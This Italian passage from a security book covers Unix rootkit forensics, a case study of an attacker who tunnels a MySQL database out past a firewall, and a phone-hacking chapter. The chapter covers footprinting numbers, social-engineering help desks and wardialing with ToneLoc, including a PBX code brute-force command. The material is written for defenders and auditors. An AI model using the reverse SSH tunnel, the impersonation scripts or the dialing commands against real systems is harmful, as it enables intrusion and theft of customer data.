Come minimo, potete iniziare a esaminare l'output offline senza disturbare ulteriormente il sistema sotto indagine. Nella maggior parte dei casi, avrete a che fare con un rootkit "pronto all'uso" installato con una configurazione predefinita. In base alla data di installazione del rootkit, dovreste essere in grado di vedere molti dei file rootkit, dei log degli sniffer, e così via. Questo se il rootkit con cui avete a che fare non ha modificato il kernel; in caso contrario, i risultati restituiti dai comandi citati in precedenza non sono affidabili. Quando eseguite il vostro lavoro da "medico legale" sui sistemi Linux, prendete in considerazione la possibilità di utilizzare un supporto di avvio sicuro come Trinux (`http://www.trinux.org`). Questo dovrebbe fornirvi informazioni sufficienti per determinare se sul vostro sistema è stato installato un rootkit. Una volta che avete a disposizione queste informazioni, consultate le seguenti risorse per determinare che cosa è stato modificato e come è stato possibile manomettere il sistema. È importante prendere nota dei comandi eseguiti e dell'output risultante:

- `http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq`
- `http://staff.washington.edu/dittrich/misc/faqs/responding.faq`
- `http://home.datacomm.ch/prutishauser/textz/backdoors/rootkits-desc.txt`
- `http://www.fish.com/forensics/freezing.pdf` e il corrispondente toolkit Forensic (`http://www.fish.com/security/tct.html`)

Assicuratevi anche di predisporre un buon piano di risposta agli attacchi prima che questi si verifichino (`http://www.sei.cmu.edu/pub/documents/98.reports/pdf/98hb001.pdf`). Non fate come molte persone che, appena individuata una falla nella sicurezza, chiamano subito la polizia. Ci sono molti altri passaggi nel mezzo.

Tabella 7.3 Risorse per la sicurezza di UNIX

Nome	**Sistema operativo**	**Reperibilità**	**Descrizione**
Titan	Solaris	`http://www.fish.com/titan/`	Una collezione di programmi per Solaris.
"Solaris Security FAQ"	Solaris	`http://www.itworld.com/Comp/2377/security-faq/`	Una guida per la sicurezza di Solaris.
"Solaris Security Download"	Solaris	`http://www.sin.com/software/security/downloads.html`	Una vasta gamma di programmi per la sicurezza in Sun.
"Armoring Solaris"	Solaris	`http://www.spitzner.net/armoring2.html`	Come "armare" Solaris. Questo articolo presenta un metodo sistematico per preparare l'installazione di firewall. Include anche uno script che aiuta nella preparazione del sistema.
"FreeBSD Security How-To"	FreeBSD	`http://www.freebsd.org/~jkb/howto.html`	Anche se questo manuale è specifico per FreeBSD, molto di quanto esposto può essere utilizzato con altre versioni di UNIX (specialmente OpenBSD e NetBSD).

(*Segue*)

Tabella 7.3 (*Continua*) Risorse per la sicurezza di UNIX

Nome	Sistema operativo	Reperibilità	Descrizione
"Linux Administrator's Security Guide (LASG)" di Kurt Seifried	Linux	`https://www.seifried.org/lasg/`	Uno dei migliori documenti sulla sicurezza dei sistemi Linux.
"Watching Your Logs" di Lance Spitzner	Generico	`http://www.spitzner.net/swatch.html`	Come pianificare e implementare un filtro automatico per i file di log con swatch. Include esempi di configurazione e implementazione.
"UNIX Computer Security Checklist (Version 1.1)"	Generico	`ftp://ftp.auscert.org.au/pub/auscert/papers/unix_security_checklist_1.1`	Una pratica checklist per verificare la sicurezza di UNIX.
"The Unix Secure Programming FAQ" di Peter Galvin	Generico	`http://online.vsi.ru/library/Programmer/UNIX_SEC_FAQ/secprog.html`	Informazioni sulla progettazione, sullo sviluppo e sul test di applicazioni sicure.
"CERT Intruder Detection Checklist"	Generico	`ftp://www.cer0t.org/tech_tips/intruder_detection_checklist.html`	Una guida per stabilire se un sistema è stato manomesso.
Stephanie	OpenBSD	`http://www.innu.org/~brian/Stephanie`	Una serie di aggiornamenti volti ad aumentare la sicurezza.

Parte III

Hacking delle reti

Caso di studio: attraversamento dei firewall mediante tunneling

Michael, amministratore di rete di SocietàXX, desiderava accertarsi che la sua rete fosse ben protetta. Egli tentò di effettuare dall'esterno diverse scansioni delle porte della rete e si ritenne soddisfatto dei risultati. Per fortuna, la sua azienda doveva unicamente assicurare il servizio Web al mondo esterno e i risultati della scansione delle porte effettuata da Michael confermavano che solo la porta 80 era aperta. Pertanto Michael, soddisfatto del risultato dei suoi sforzi, se ne tornò a casa, persuaso che le regole del firewall erano state definite nel modo più restrittivo possibile. I fatti avrebbero dimostrato che aveva torto.

Kevin, un cliente insoddisfatto dell'azienda di Michael, decise di vendicarsi rendendo pubblici i dati del database dei clienti della società. Navigando nel sito Web di SocietàXX, Kevin si accorse che il webmaster aveva lasciato inavvertitamente alcuni commenti sul sorgente HTML del sito Web. Tra l'altro, questi commenti contenevano il nome utente e la password utilizzate negli script CGI per la connessione al server del database MySQL. Immediatamente, Kevin tentò di connettersi al database del server MySQL sulla porta 3306, ma non vi riuscì a causa del firewall di SocietàXX che bloccava le connessioni in entrata su qualsiasi porta eccetto la 80. Dopo aver cercato per alcune ore, Kevin fu in grado di sfruttare uno script CGI mal progettato del sito Web di SocietàXX per eseguire comandi arbitrari sul server Web. Tuttavia fu in grado eseguirli unicamente con i privilegi dell'utente "nobody" e non riuscì a provocare danni eccessivi.

L'obiettivo principale di Kevin era connettersi al database di SocietàXX e impossessarsi dei dati riguardanti i clienti. Come avrebbe potuto connettersi al database MySQL se il firewall non glielo consentiva? Questa domanda ottenne presto una risposta, allorché Kevin si rammentò della capacità dell'SSH di effettuare l'inoltro remoto delle porte. Dopo aver creato un utente temporaneo sulla sua postazione Linux, Kevin eseguì l'utility `ssh_keygen` di SSH per creare un file delle chiavi privato senza pass-phrase e lo rinominò `id_rsa`. Egli caricò questo file sul server Web di SocietàXX, sfruttando lo script CGI vulnerabile che aveva scoperto in precedenza per eseguire una richiesta `tftp get` verso il suo server tftp. A questo punto, Kevin eseguì sul server Web di SocietàXX il comando seguente:

```
ssh -R 3306:127.0.0.1:3306 temporaryuser@kevinslinuxbox.com -I id_rsa -N
```

Grazie a questo comando, il server Web di SocietàXX iniziò una sessione SSH verso il server SSH situato nella postazione Linux di Kevin senza che occorresse una sessione interattiva, poiché Kevin aveva già fornito il file delle chiavi private `id_rsa` da utilizzare per l'autenticazione. L'opzione `-R 3306:127.0.1:3306` fece in modo che la porta locale 3306 del server Web di SocietàXX fosse inoltrata in remoto alla macchina di Kevin tramite il tunneling SSH. A questo punto, a Kevin bastava connettersi alla porta 3306 sulla sua macchina locale utilizzando un client MySQL: in questo modo avrebbe potuto collegarsi alla porta 3306 del server Web di SocietàXX.

Sfortunatamente, questo tipo di attacco è del tutto possibile nel mondo reale. Molti amministratori non configurano le regole del firewall in modo da bloccare connessioni dirette all'esterno non necessarie. In questo caso, gli host su cui veniva eseguito il server Web di SocietàXX non avevano alcuna necessità di iniziare connessioni dirette all'esterno, ma non erano state previste regole del firewall tali da escludere questa possibilità. Utilizzando il metodo di tunneling appena descritto, un aggresso-

re ha la possibilità di connettersi a qualsiasi porta di una macchina vulnerabile. Mediante l'utilizzo di tool di reindirizzamento delle porte quali `fpipe` di Foundstone, è inoltre possibile utilizzare la tecnica di tunneling SSH per inoltrare in remoto porte di altre macchine situate al di là del firewall! Ovviamente, questo è possibile solo se sono consentite connessioni dirette all'esterno dagli host vulnerabili. Per concludere, speriamo che questo caso di studio induca a riflettere sulle regole del firewall e a renderle più rigide.

Capitolo 8

Hacking telefonico

Pochi elementi di una rete sono così trascurati come le linee POTS (*Plain Old Telephone System*), che sono le linee telefoniche comuni. Sebbene siamo ormai arrivati alla quarta edizione di questo volume, siamo ancora costretti a prendere atto del fatto che molte aziende utilizzano connessioni di accesso remoto, all'interno delle loro reti private o delle loro infrastrutture. In questo capitolo mostreremo come anche un vecchio modem a 9600 baud può bastare per mettere in ginocchio i Golia della sicurezza dei sistemi e delle reti.

Aprire il capitolo dedicato all'hacking delle reti parlando di linee telefoniche analogiche potrà sembrare anacronistico. L'arrivo nelle case delle connessioni a banda larga, mediante i cable modem e la DSL, sta soppiantando le connessioni di accesso remoto, ma il processo è ancora in atto: la rete telefonica commutata pubblica PSTN (*Public Switched Telephone Network*) è ancora oggi il mezzo più diffuso per collegarsi da parte della maggior parte delle aziende e delle abitazioni. Allo stesso modo, i racconti sensazionali sulle violazioni dei siti Internet fanno passare in secondo piano le più consuete intrusioni via telefono, che sono potenzialmente più pericolose e semplici da portare a termine.

In effetti, siamo pronti a scommettere che la maggior parte delle grandi aziende è molto più facilmente attaccabile attraverso linee modem trascurate o non correttamente censite, piuttosto che attraverso gateway Internet presidiati da firewall. Una volta il celebre guru di AT&T in materia di sicurezza, Bill Cheswick, ha paragonato una rete protetta da un firewall a "un guscio croccante con un frutto soffice e appetitoso". Questa frase ha colto esattamente nel segno: perché accanirsi contro un oscuro firewall quando ci si può tuffare direttamente nel tenero frutto approfittando di un server di accesso remoto poco protetto? La protezione dei collegamenti via telefono potrebbe essere il passo decisivo per arrivare ad avere un perimetro realmente sicuro. L'approccio all'hacking delle connessioni telefoniche è sempre lo stesso: footprint, scansione, enumerazione, attacco. Con poche eccezioni, l'intero processo può essere automatizzato utilizzando strumenti tradizionali chiamati *wardialer* o *demon dialer*. Fondamentalmente, si tratta di strumenti che compongono da programma una serie di numeri telefonici, registrando quelli corrispondenti a linee dati (*carrier*), cercando di identificare il sistema all'altro capo della linea telefonica, ed eventualmente tentando di effettuare una connessione utilizzando nomi utente e password di uso comune. Spesso vengono utilizzate anche connessioni manuali a numeri selezionati, in particolare se sono necessari software particolari o la conoscenza del sistema che risponde.

Per questo la scelta del programma di wardialing è particolarmente delicata, tanto per i "buoni" quanto per i cattivi, se si vogliono identificare sulle linee telefoniche non protette. In questo capitolo descriveremo i due programmi di wardialing più popolari tra quelli disponibili gratuitamente su Internet (ToneLoc e THC-Scan), e due prodotti commerciali: PhoneSweep della Sandstorm Enterprises e TeleSweep Secure della Secure Logix.
In seguito passeremo alla discussione di tecniche di attacco manuali e automatiche, applicabili agli obiettivi identificati dal sistema di wardialing; tra questi troviamo centralini remoti e sistemi di casella vocale.

Preparazione alla connessione

L'hacking telefonico richiede per prima cosa che sia identificata una serie di numeri da dare in pasto ai wardialer. Gli hacker generalmente iniziano con il nome di un'azienda e con una serie di numeri potenziali che derivano dalle fonti più disparate. In seguito, illustreremo alcuni dei meccanismi per rilevare la struttura di una connessione di accesso remoto aziendale.

Footprinting dei numeri telefonici

Diffusione:	*9*
Semplicità:	*8*
Impatto:	*2*
Fattore di rischio:	*6*

Il punto di partenza più scontato è l'elenco telefonico. Diverse società ormai vendono edizioni elettroniche dell'elenco telefonico su CD-ROM, dalle quali è possibile alimentare gli script per wardialer. Una volta identificato il numero di telefono generale, l'hacker solitamente estenderà il wardialing a tutti i numeri diretti. Per esempio, se il numero principale della Acme Corp. è 555-555-1212, la sessione di wardialing verrà estesa a tutti i 10.000 numeri 555-555-XXXX. Utilizzando quattro modem, la maggior parte dei software per wardialing è in grado di completare l'analisi di questo intervallo nel giro di qualche giorno, quindi anche reti molto grandi non sono un problema.
Un'altra tattica possibile è chiamare la compagnia telefonica e tentare di circuire l'ignaro operatore del servizio clienti per ottenere informazioni sulla posizione della società. In questo modo è possibile venire a conoscenza di linee per accesso remoto riservate o di linee esclusivamente destinate allo scambio di dati, che normalmente utilizzano un prefisso diverso. Dietro richiesta dell'intestatario del contratto, molte compagnie telefoniche rilasciano simili informazioni per telefono solo se ci si identifica con una password, ma su questo punto esiste un certo grado di elasticità.
A parte l'elenco telefonico, i siti Web aziendali sono un ottimo terreno di caccia per i numeri di telefono. Prese dall'euforia del libero scambio di informazioni sul Web, molte aziende arrivano a pubblicare su Internet l'intera rubrica telefonica interna. Difficilmente questo si rivela una buona idea, a meno che non trovi giustificazione in ottime ragioni commerciali.
Su Internet esistono luoghi molto meno prevedibili in cui trovare numeri di telefono. Abbiamo già presentato uno dei più dannosi nel Capitolo 1, ma è il caso di ricordarlo in questa sede. Il database di registrazione dei nomi Internet (disponibile

all'indirizzo www.arin.net) elargisce, attraverso l'interfaccia whois, informazioni sui principali contatti amministrativi tecnici e contabili all'interno di un'azienda legati alla sua presenza su Internet. Il seguente esempio (opportunamente epurato) di ricerca con whois di informazioni su acme.com dimostra i pro e i contro della pubblicazione di informazioni con la InterNIC:

```
Registrant: Acme, Incorporated (ACME-DOM)
Princeton Rd. Hightstown, NJ 08520
US Domain Name: ACME.COM
Administrative Contact: Smith, John (JS0000) jsmith@ACME.COM
                        555-555-5555 (FAX) 555-555-5556
Technical Contact, Zone Contact: ANS Hostmaster (AH-ORG)
hostmaster@ANS.NET
                        (800)555-5555
```

Questo non solo fornisce agli aggressori un riferimento telefonico valido da cui partire, ma anche il nome di un ottimo candidato (John Smith) come copertura presso l'help desk aziendale o la compagnia telefonica per ottenere ulteriori informazioni. La seconda parte delle informazioni sul riferimento tecnico di zona è invece un esempio di come bisognerebbe definire le informazioni che vanno alla InterNIC: una descrizione generica della funzione (invece del nome) e un numero verde. In questo caso non si offrono appigli.

Infine, comporre manualmente un numero ogni 25 per verificare se qualcuno risponde "Società XYZ, posso aiutarla?" può essere noioso, ma è un metodo abbastanza efficace per ricostruire un profilo degli accessi telefonici a un'azienda. Un'altra chicca sono i messaggi lasciati nella segreteria telefonica da dipendenti in ferie, cioè da persone che probabilmente per qualche tempo non saranno in grado di notare strani movimenti sul proprio account utente. Inoltre, i dipendenti non dovrebbero mai dichiarare nei sistemi di messaggistica vocale la propria posizione nell'organigramma aziendale: è un modo per facilitare l'identificazione di persone affidabili, un'informazione che può essere utilizzata contro altri dipendenti. Per esempio: "Salve, lasciate un messaggio per Jim, vicedirettore del marketing" suggerisce una seconda chiamata all'help desk dei sistemi informativi: "Sono Jim, e sono un vicedirettore. Se non cambiate immediatamente la mia password ve ne pentirete!".

Contromisura: bloccare le fughe di notizie

La migliore difesa contro il footprinting telefonico è impedire la fuoriuscita non necessaria di informazioni. Certo, se i numeri di telefono vengono pubblicati esiste un buon motivo, cioè permettere a clienti e partner in affari di contattarvi; ma è anche giusto porre dei limiti a questa sovraesposizione. Consultate la vostra compagnia telefonica per assicurarvi che vengano pubblicati solo i numeri necessari, definite un elenco di dipendenti autorizzati alla gestione dell'account, e pretendete che venga richiesta una password per qualsiasi accesso alle informazioni sul vostro account. Costituite all'interno dell'area IT un gruppo di controllo sulle fughe di informazioni che impedisca la pubblicazione di numeri telefonici "critici" su siti Web, elenchi, banner sui server di accesso remoto, e così via. Contattate la InterNIC e ripulite le informazioni sui contatti interni. Ma soprattutto, ricordate agli utenti che il telefono non è necessariamente un amico, e che è bene diffidare da chi richiede informazioni senza identificarsi, per quanto le richieste possano sembrare innocenti.

Wardialing

Sostanzialmente il wardialing si riduce alla scelta degli strumenti da utilizzare. Discuteremo i meriti di ToneLoc, THC-Scan, PhoneSweep e TeleSweep, ma sono necessarie alcune premesse.

Hardware

La scelta dell'hardware per il wardialing è altrettanto importante di quella del software. I due strumenti freeware di cui parleremo funzionano in ambiente DOS e hanno l'immotivata fama di essere difficili da configurare. Serve solamente disporre di un prompt DOS e di un modem. Tuttavia, qualsiasi programma di wardialing per PC richiede un minimo di conoscenze su come pilotare le porte COM per le configurazioni più complesse, che comunque alcune volte non funzioneranno (un esempio per tutti, l'utilizzo di una scheda PCMCIA su un portatile). Non inventatevi configurazioni strane: un semplice PC con le due porte COM standard, ed eventualmente una scheda seriale aggiuntiva per aggiungerne altre due, sono più che sufficienti. Dall'altra parte dello spettro, se pretendete la massima velocità da un sistema wardialing e non volete installare più modem, potete installare una scheda Digiboard multiporta che consente di collegare al sistema quattro o otto modem.
L'hardware è anche il fattore principale che influisce su velocità ed efficienza del sistema. Il software di wardialing dovrebbe essere configurato in modo da essere estremamente cauto e attendere un certo intervallo minimo di tempo, prima di passare al numero successivo, in modo da evitare di mancare potenziali obiettivi a causa di linee telefoniche rumorose o altro. Se si imposta come timeout standard un ritardo di 45-60 secondi, i wardialer in generale saranno in grado di effettuare una chiamata al minuto per ogni modem: è sufficiente fare due semplici conti per verificare se per esaurire un intervallo di 10.000 numeri bastano sette giorni, 24 ore su 24, con un solo modem. Ovviamente, l'utilizzo di modem dedicati alla causa riduce sensibilmente i tempi (quattro modem impiegheranno metà del tempo rispetto a due). Siccome l'hacker vede il wardialing come un gioco d'azzardo in un casinò di Las Vegas in cui il tavolo da gioco è disponibile 24 ore su 24, più modem vengono impiegati meglio è. Per effettuare test di penetrazione alla rete aziendale, più dispositivi di wardialing vengono messi in funzione durante le ore di minore utilizzo, per esempio dalle 18 alle 6 di mattina e durante il fine settimana: se dovete effettuare una verifica di questo tipo considerate la possibilità di utilizzare più modem, per minimizzare i tempi.
Anche la scelta dei modem può influenzare sensibilmente l'efficienza. Per esempio, i modem di qualità più elevata possono riconoscere risposte vocali, il che permette al software per wardialing di registrare immediatamente il numero di telefono come "voice", riagganciare e continuare a comporre il numero successivo, senza attendere il timeout specificato (45-60 secondi). Poiché una gran parte dei numeri telefonici in qualsiasi intervallo sarà relativa a linee vocali, la possibilità di eliminare il periodo di attesa riduce enormemente il tempo complessivo del wardialing. Se utilizzate tool di wardialing freeware, dovrete tenere conto del tempo necessario per riconoscere i segnali di occupato e quelli di timeout. Il consiglio più immediato, anche se più ovvio, è quello di andarsi a leggere quali modem la documentazione dei tool definisce come più affidabili: tenetevi aggiornati, perché questa indicazione cambia nel tempo.

Aspetti legali

Oltre a scegliere la piattaforma operativa, gli aspiranti wardialer dovrebbero tener presenti le implicazioni legali di questa attività. In certi stati è illegale comporre in sequenza grandi quantità di numeri telefonici e le compagnie telefoniche tendono a non vedere di buon occhio questa attività (sempre che le loro apparecchiature la consentano). Ovviamente, per evitare di richiamare l'attenzione, i programmi che presentiamo in questo capitolo cercano di comporre i numeri secondo una sequenza casuale, ma questo non garantisce che riuscirete a farla franca. Diventa quindi estremamente importante, per chi intraprenda questa attività per scopi legittimi, ottenere un'autorizzazione scritta a svolgere tali test da parte dell'azienda oggetto delle prove. Sarebbe opportuno concordare esplicitamente nel documento firmato gli intervalli di numeri telefonici da considerare, così che eventuali numeri estranei diventino responsabilità della società.
L'accordo dovrebbe anche specificare il periodo del giorno in cui è consentita l'attività di wardialing. Come abbiamo già detto, la composizione di interi blocchi di numeri appartenenti a una grande azienda durante le ore lavorative rischia di innervosire le persone e influenzare negativamente la produttività; quindi pianificate le attività per la tarda nottata o intorno all'alba.

Ricordate che eseguire il wardialing dei numeri di telefono dell'obiettivo su cui è attivo il servizio di identificazione del chiamante equivale a lasciare un biglietto da visita in ciascuno dei numeri composti. Più riagganci dalla stessa sorgente possono generare la collera della maggior parte dei sistemi target; pertanto è opportuno assicurarsi di aver abilitato sulla propria linea telefonica il blocco dell'identificazione del chiamante (ovviamente, se siete autorizzati, non ci saranno problemi). È importante inoltre tenere presente che le chiamate ai numeri verdi possono potenzialmente rilevare il numero di telefono del chiamante, indipendentemente dallo stato del servizio di identificazione, in quanto il destinatario deve pagare la chiamata.

Costi accessori

Infine, se il vostro obiettivo si trova fuori distretto, non dimenticate di considerare le tariffe telefoniche interurbane. Preparatevi a difendere questi costi accessori di fronte alla dirigenza quando proponete un test di wardialing per la vostra azienda.
Ora passeremo a descrivere in dettaglio la configurazione e l'utilizzo dei diversi strumenti, in modo che gli amministratori possano allestire e avviare l'attività di wardialing il più in fretta possibile. Sappiate, però, che riusciremo solo a scalfire la superficie delle funzionalità avanzate offerte da questi programmi: ora più che mai vale il consiglio di leggere il manuale.

Software

Poiché la maggior parte del wardialing si svolge nelle ore notturne, per evitare di interferire con le normali attività lavorative, la possibilità di pianificare con una certa elasticità le scansioni e di proseguire dall'ultimo punto di interruzione diventa fondamentale. I programmi freeware ToneLoc e THC-Scan salvano periodicamente un'istantanea dello stato dell'intera operazione e la collocano tra i file di dati, semplificando il ripristino dell'operazione. Inoltre, prevedono semplici funzionalità di pianificazione (ora di inizio e di fine) delle attività sull'arco delle 24 ore. Purtroppo,

per pianificare le attività su più giornate è necessario affidarsi agli strumenti di pianificazione e alle procedure batch del sistema operativo. PhoneSweep e TeleSweep, invece, prevedono la pianificazione completamente automatica, adatta a gestire le ore di maggiore e di minor traffico.
Avendo a disposizione numerosi prodotti commerciali con notevoli interfacce grafiche, la domanda che ci si pone è: qual è il software migliore? La risposta, unica sebbene necessariamente relativa alle diverse architetture di rete, può essere riassunta in questa frase: dipende dalle conoscenze della persona che effettua il wardialing.
ToneLoc e THC-Scan sono delle applicazioni eccellenti per l'utente più esperto. Entrambe queste applicazioni DOS possono essere eseguite simultaneamente, chiamando diversi modem con la stessa macchina. L'esecuzione del wardialing con molti modem sulla stessa macchina è un metodo assai valido per comporre una quantità enorme di numeri in un tempo più breve. Sebbene i prodotti commerciali come TeleSweep consentano l'impiego di diversi modem, essi tendono a essere più lenti e a impiegare più tempo. Inoltre, poiché ToneLoc e THC-Scan operano in ambiente DOS, risultano piuttosto antiquati, per quanto riguarda l'interfaccia utente e la prontezza di utilizzo, se paragonati agli altri prodotti commerciali: di conseguenza, è necessaria almeno la conoscenza di semplici comandi DOS per trarne il meglio e ottenere risultati più accurati. Infine, per utilizzare queste applicazioni in modo efficace, occorre una conoscenza aggiuntiva hardware e software per l'identificazione delle linee dati. Quindi, se non è un problema quello di avere a che fare con la riga di comando e con la conoscenza di alcune operazioni software, queste applicazioni gratuite svolgono il loro lavoro assai egregiamente.
D'altra parte, quando non si conosce l'ambiente e l'interfaccia DOS, i wardialer commerciali, come PhoneSweep e TeleSweep, rappresentano la soluzione migliore, grazie sia all'interfaccia grafica intuitiva che facilita l'introduzione di serie di numeri telefonici, sia all'impostazione degli intervalli di rilevazione sia alla generazione dei rapporti e delle stampe. Tuttavia, entrambe le applicazioni commerciali menzionate in questo capitolo si basano su un database per l'identificazione della linea dati i cui risultati non sono sempre accurati e richiedono generalmente ulteriori analisi. Anche se i rivenditori saranno di avviso differente, normalmente la scansione delle linee dati è necessaria. Al momento della stesura di questa quarta edizione, la versione 4.4 di PhoneSweep viene dichiarata come in grado di identificare fino a 470 sistemi, mentre TeleSweep 3.0 arrivava solo a 151. È comunque più che noto alla comunità del wardialing che le modalità di penetrazione della rete da parte di questi prodotti, che prevedono di sottoporre a un modem identificato una sequela di password, comportano non pochi problemi. Non si può comunque ribattere niente, perché scrivere il codice per un attacco in tempo reale che tenga conto di così tante variabili non è affatto facile. Per essere veramente sicuri dell'affidabilità della penetrazione della rete condotta da questi software è consigliabile verificare i modem forzati con una seconda sorgente, per esempio chiamandoli mediante un software di comunicazione come ProComm Plus.
Infine, se avete una grande serie di numeri da provare e non avete familiarità con i messaggi di invio dati che appaiono sullo schermo, potrebbe essere il caso di utilizzare un prodotto commerciale; d'altra parte, essendo i prodotti come ToneLoc e THC-Scan assolutamente gratuiti, potreste pensare di acquisire familiarità anche con questi. Ovviamente, potreste provarli entrambi, a seconda delle vostre disponibilità, e quindi decidere quale di essi si adatti meglio a voi e al vostro sistema: a nostro avviso, è questo l'approccio più efficace per il wardialing.

ToneLoc

Diffusione:	*9*
Semplicità:	*8*
Impatto:	*8*
Fattore di rischio:	*8*

Uno dei primi e più popolari strumenti per wardialing disponibili è ToneLoc, sviluppato da Minor Threat e Mucho Maas ("ToneLoc" è l'abbreviazione di "Tone Locator"). Il sito originale di ToneLoc non esiste più, ma è possibile trovarne diverse versioni sui siti underground di Internet dedicati al "phone phreaking". Come la maggior parte dei software di composizione, ToneLoc funziona in ambiente DOS (o in una finestra DOS di Windows 9*x*, NT o Windows 2000 o in un emulatore DOS in UNIX), e negli anni si è dimostrato uno strumento efficace e utile sia per gli hacker sia per i responsabili della sicurezza. Sfortunatamente, i creatori di ToneLoc non si sono mai preoccupati di aggiornarlo e nessuno si è fatto avanti per continuare la loro opera. Sebbene un po' datato, ToneLoc continua a distinguersi per efficienza e semplicità di utilizzo, inoltre costituisce un carico veramente esiguo per la CPU: l'eseguibile è di soli 46K!

Per attività di wardialing di base, ToneLoc è facile da configurare e utilizzare; ma per utilizzare le funzionalità avanzate sono necessarie attività più complesse. Per prima cosa, è necessario eseguire dalla linea di comando un semplice programma di utilità di nome TLCFG, che riporta i parametri fondamentali, come la configurazione del modem (porta COM, indirizzo di I/O e IRQ della porta), nel file TL.CFG, che viene controllato da ToneLoc all'avvio. Potete trovare informazioni dettagliate e schermate d'esempio riguardanti la configurazione di TLCFG sul sito sul wardialing di Stephan Barnes, all'indirizzo Web `http://www.m4phr1k.com`. TLCFG.EXE è visibile nella Figura 8.1.

Figura 8.1

TLCFG.EXE consente di definire i parametri di configurazione del modem che verrà utilizzato da ToneLoc per il wardialing.

Fatto questo, è possibile lanciare ToneLoc dalla linea di comando, specificando l'intervallo di numeri da comporre, i file di dati in cui riportare i risultati ed eventuali opzioni, come mostrato nell'elenco seguente:

```
ToneLoc [DataFile] /M:[Mask] /R:[Range] /X:[ExMask] /D:[ExRange]
        /C:[Config] /#:[Number] /S:[StartTime] /E:[EndTime]
        /H:[Hours] /T /K

 [DataFile] -  File to store data in, may also be a mask
 [Mask] -      To use for phone numbers   Format: 555-XXXX
 [Range] -     Range of numbers to dial   Format: 5000-6999
 [ExMask] -    Mask to exclude from scan  Format: 1XXX
 [ExRange] -   Range to exclude from scan Format: 2500-2699
 [Config] -    Configuration file to use
 [Number]    - Number of dials to make    Format: 250
 [StartTime] - Time to begin scanning     Format: 9:30p
 [EndTime]   - Time to end scanning       Format: 6:45a
 [Hours]     - Max # of hours to scan     Format: 5:30
Overrides [EndTime]

/T = Tones, /K = Carriers (Override config file, '-' inverts)
```

Come vedremo, THC-Scan prevede parametri molto simili. Nell'esempio che segue, ToneLoc viene utilizzato per comporre i numeri da 555-0000 a -9999, registrando le eventuali portanti (carrier) nel file "test". Nella Figura 8.2 viene mostrato il funzionamento di ToneLoc:

```
toneloc test /M:555-XXXX /R:0000-9999
```

```
C:\WINNT\System32\cmd.exe - toneloc test /M:555-XXXX /R:0001-9999

Activity Log                                   Modem
20:29:29 »                                     ATDT 555-8593
20:29:29 ToneLoc v1.10 (Sep 29 1994)           BUSY
20:29:29 ToneLoc started on 07-May-99          ATDT 555-1809
20:29:29 Using COM2 (16450 UART)               OK
20:29:29 Data file:       TEST.DAT             ATDT 555-5935
20:29:29 Config file:     TL.CFG               OK
20:29:29 Log file:        TONE.LOG             ATDT 555-9006
20:29:29 Mask used:       555-XXXX
20:29:29 Range used:      0001-9999            Statistics
20:29:29 Scanning for:    Carriers             Started: 20:29:29   Ring:  0/ 0
20:29:29 Initializing Modem ... Done           Current: 20:31:30   Secs:  7/35
20:29:33 555-2544 - Busy                       Max Dials:    9999
20:30:00 555-4074 - Carrier                    Dials/Hour:    278  ETA:  35:49
20:30:09 555-9136 - VMB                                            Found
20:30:17 555-5880 - Fax                        CD's   :       6
20:30:21 555-3986 - Busy                       Voice  :       0
20:30:48 555-8593 - Busy                       Busy   :      22
20:31:15 555-1809 - Girl                       Rings  :       0
20:31:17 555-5935 - Tone                       Try #  :      39
20:31:22 555-9006 -

           ToneLoc v1.10 (Sep 29 1994) by Minor Threat & Mucho Maas

COM2: Initialized: 19200 baud, rx buffer = 512 (16450 UART)
```

Figura 8.2

Un'immagine di ToneLoc durante la scansione di un intervallo esteso di numeri telefonici alla ricerca di portanti, ovvero di segnali elettronici generati da un modem remoto.

L'esempio seguente compone il numero 555-999, aspetta un nuovo segnale e prova ogni potenziale combinazione di tre cifre (*xxx*) sui numeri telefonici composti successivamente, fino a ottenere la parola chiave per poter effettuare chiamate in uscita dal centralino:

```
toneloc test /m:555-9999Wxxx
```

Il parametro di attesa (wait) è utilizzato per verificare la presenza di centralini che permettono all'utente di collegarsi e digitare un codice per ottenere un nuovo segnale di libero, che consente di effettuare chiamate in uscita dal centralino. ToneLoc riesce a indovinare codici fino a quattro cifre. È sufficiente per convincervi a eliminare la possibilità di effettuare chiamate da remoto usando il centralino, o almeno a impostare codici di più di quattro cifre?

Il programma di utilità TLCFG può essere usato per modificare le impostazioni predefinite, così da personalizzare ulteriormente le chiamate. ToneLoc crea automaticamente un file `tone.log` che contiene tutti i risultati dello scan: per ogni numero, questo file contiene la data e l'ora in cui è stato chiamato, nonché i risultati della chiamata. Il file `tone.log` è importante, perché dopo il primo passaggio i numeri non raggiungibili o occupati possono essere riprovati.

ToneLoc crea anche un file `found.log` che cattura tutte le linee dati trovate e i segnali di "carrier detect" rilevati nel corso delle operazioni di scan. Questo file `found.log` si trova nella directory `FILES` delle utility di TL.CFG, e contiene i messaggi di invito dei modem che hanno risposto. Spesso i sistemi di tipo dial-up non sono configurati in modo ottimale per quanto riguarda la sicurezza, e rivelano le informazioni della linea dati riferite al sistema operativo, all'applicazione o all'hardware. Questi messaggi contengono informazioni particolarmente attraenti che possono essere usate in seguito per personalizzare gli attacchi contro le linee dati identificate. Con il programma di utilità TLCFG, si possono specificare i nomi di questi file di log oppure lasciare le impostazioni predefinite.

ToneLoc dispone di molte altre caratteristiche interessanti che è opportuno lasciare a un'attenta lettura del manuale utente (TLUSER.DOC): esso permette comunque di eseguire semplici operazioni di wardialing con la configurazione che abbiamo illustrato.

È consigliabile redirezionare i file `found.log` *e* `tone.log` *in uno stesso file, in modo da avere in un unico file entrambe queste informazioni, semplificando così la loro visualizzazione.*

File batch per ToneLoc

Di default, ToneLoc è già in grado di scansionare un intervallo di numeri. In alternativa potete creare dei semplici file di batch per importare un elenco o serie di numeri che saranno composti tramite la riga di comando di ToneLoc. Il vantaggio di ricorrere a questa tecnica, a fronte dell'uso dell'opzione di configurazione predefinita (il file .DAT), è che il modem viene reinizializzato dopo aver composto ogni numero. Perché questo è così importante? Considerate di effettuare un wardialing su 1000 numeri in orario non di punta, generalmente di notte: se per caso il modem si bloccasse su un determinato numero, gli altri non riuscirebbero a essere composti e in questo modo si perderebbero molte ore. Nella stessa situazione, se si utilizzasse un file batch e il modem si bloccasse sullo stesso numero, ToneLoc si limiterebbe ad attendere un certo periodo di tempo prima di disconnettersi, perché ad ogni nume-

